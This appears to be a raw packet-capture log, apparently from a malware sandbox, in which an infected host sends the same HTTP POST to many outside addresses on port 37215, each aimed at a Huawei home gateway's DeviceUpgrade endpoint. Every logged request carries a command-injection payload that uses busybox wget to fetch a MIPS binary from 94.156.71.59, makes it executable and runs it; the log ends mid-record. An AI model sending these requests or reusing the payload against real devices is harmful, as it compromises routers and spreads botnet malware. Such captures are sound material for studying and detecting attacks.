Jun 10, 2024 15:38:03.443084955 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
997	192.168.2.13	46748	41.45.154.179	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.444572926 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
998	192.168.2.13	35852	156.41.42.110	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.447664022 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
999	192.168.2.13	59198	197.87.143.11	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.449470997 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1000	192.168.2.13	59130	156.59.146.39	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.451314926 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1001	192.168.2.13	60004	197.248.89.65	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.453325987 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1002	192.168.2.13	35130	197.138.186.54	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.454916954 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1003	192.168.2.13	51174	197.154.179.20	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.456506014 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1004	192.168.2.13	35894	41.135.54.144	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.457572937 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1005	192.168.2.13	36644	156.69.102.153	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.459441900 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1006	192.168.2.13	50662	197.233.62.233	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.461126089 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 